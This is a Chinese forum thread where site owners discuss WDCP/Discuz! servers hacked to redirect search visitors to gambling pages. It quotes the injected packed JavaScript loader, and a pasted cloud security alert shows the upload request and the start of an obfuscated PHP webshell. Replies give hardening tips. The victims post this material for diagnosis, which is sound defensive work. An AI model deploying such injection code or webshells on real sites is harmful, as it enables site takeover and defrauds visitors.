[求助] 最近網(wǎng)站一直被掛馬， 會不會是WDCP環(huán)境出什么安全問題了？

doufenger

最近網(wǎng)站一直被掛馬，從百度搜進來的都會跳轉(zhuǎn)到一個博彩網(wǎng)頁，會不會是WDCP環(huán)境出什么安全問題了？
我在A服務器被掛后換到B服務器（隱藏好IP了的）還是被跟上掛馬。服務器里只有一個Discuz! X3.4，其他都是靜態(tài)頁了。
被掛的代碼大概是這樣的

1. <meta name="keywords" content="澳門威尼斯在線平臺,威尼斯網(wǎng)上娛樂平臺,威尼斯平臺官網(wǎng),威尼斯游戲平臺,威尼斯 "/>
   
2. <meta name="description" content="【wnsr484.com】威尼斯人官方網(wǎng)可以讓國內(nèi)的很多游戲玩家都開始喜好上這種娛樂游戲體驗方式。這是人們擁有完美業(yè)余生活的有效途徑。這對改善生活質(zhì)量的作用非常的重要。"/>
   
3. <script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="XX"}</script>
   
4. <script type="text/javascript">
   
5. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\e\\c\\1\\n\\f\\8\\m\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\k\\4\\8\\d\\6\\0\\8\\l\\0\\5\\h\\a\\j\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\s\\0\\0\\4\\2\\t\\5\\5\\7\\7\\7\\b\\u\\1\\e\\a\\2\\r\\b\\1\\c\\f\\5\\j\\q\\p\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',31,31,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x76|x79|x78|x6e|x75|window|x31|x36|x38|x68|x3a|x62'.split('|'),0,{}))</script>

復制代碼

steven001

我現(xiàn)在已經(jīng)吧wdcp修改了端口，也不知道什么原因，無法訪問了，木馬文件我根據(jù)阿里的提示已經(jīng)刪除，先看一段時間，看是否還能上傳木馬文件。

steven001

回復 15# admin


wdcp的密碼我修改過。態(tài)勢里面提示了四十多條，所有的文件都是通過這個地址上傳上來的。并沒有干什么壞事，只是修改了主頁的信息，讓頁面回跳到首頁的時候跳到垃圾頁面。所有上傳的木馬全部經(jīng)過的加密處理。感覺這個是機器掃描直接植入的，而不是人工操作的。

admin

回復 13# steven001

密碼我修改過，直接寫入的文件。
這個是什么意思？


阿里態(tài)勢，這個也不一定準確吧？要看這個是否成功訪問的狀態(tài)
阿里給的警報，有時不太可信，在V2版本里，阿里把wdcp里的一個文件，只要這個文件存在，就危險，哪怕這個文件是空文件

steven001

linux系統(tǒng)也沒有新增用戶，系統(tǒng)漏洞也清理了。

steven001

回復 12# admin

你好，管理員，這是阿里態(tài)勢給出的提示，肯定是沒有登陸的。密碼我修改過，直接寫入的文件。

admin

沒登錄的話，這個是不可能寫得了文件的
你可以復制地址或路徑試試看

steven001

目前我做了一個服務器策略，臨時解決。所有目錄不允許寫入，upload目錄允許寫入但是不允許執(zhí)行

steven001

回復 9# admin


肯定是沒有登陸掛馬。通過這個地址掛的，是阿里的 態(tài)勢感知 提示的。并且是能夠通過這個寫入文件，以下是相關的信息。請盡快測試。謝謝！掛了好多馬，并且跟樓主一樣，在主頁寫入了博彩的相關信息，并進行了加密。javascript進行解密

疑似攻擊者IP
222.247.108.16
入侵點URL

XXXXXX:8080/sys/filee?act=edit&t=f&p=/www/web/XXXXXXXX/public_html/upload/201612/1482310143.php
Http Payload

------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="fn"

/www/web/XXXXXXX/public_html/upload/201612/1482310143.php
------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="furl"

/sys/file?p=%2fwww%2fweb%2fwww_XXXXX_com%2fpublic_html%2fupload/201612&act=list&t=d
------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="contents"

<?php error_reporting(0);$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";$id=$sr/*+/*+*/("ri"."d_"."si");$rn=$sr/*+/*+*/("em"."an"."er");$dn=$sr/*+/*+*/("em"."anr"."id");$od=$sr/*+/*+*/("ri"."dne"."po");$rd=$sr/*+/*+*/("ri"."dda"."er");$cd=$sr/*+/*+*/("ri"."deso"."lc");$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';$ulform='<form method="post" enc
Http user_agent

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
被寫入的可疑文件路徑

/www/web/XXXXXXpublic_html/upload/201612/1482310143.php
事件說明

云盾檢測到有疑似黑客在通過WEB漏洞或者WEBSHELL向服務器寫入WEBSHELL文件或可疑的二進制文件，請及時關注。
解決方案

請及時排查告警中的URL對應的磁盤文件是否存在漏洞，或者是否是WEBSHELL，并及時修復WEB漏洞及刪除已存在的WEBSHELL文件。如果該URL接口是您網(wǎng)站正常的文件上傳接口，請在控制臺點擊標記為誤報或忽略按鈕。

admin

登錄了后臺掛馬？
有登錄后臺的權限，哪還需要掛，直接上傳就可以，要多少有多少？

如果沒登錄，用這個地址，能掛上來？

steven001

XXXX:8080/sys/filee?act=edit&t=f&p=/www/web/XXXXXX/public_html/upload/201612/1482310143.php

我也是經(jīng)常被掛馬
通過這個地址掛上來的。這個是wdcp的文件吧

akme8

我之前也遇到了這個問題，我最近修補了網(wǎng)站的補丁，改了后臺地址，刪掉一些不常用的管理員賬號，在ftp上刪掉那些不屬于你的文件，還有改了ftp端口號，那些賬號密碼能改的都改掉，這一周來暫時都沒有類似的情況出現(xiàn)，希望對你有幫助。

初七丶

和樓主一毛一樣的問題，同求

lediy

我的也是，多站點都被掛馬，懷疑服務器問題

lyk082401

建議去系統(tǒng)設置里面開啟三次登錄限制鎖定半小時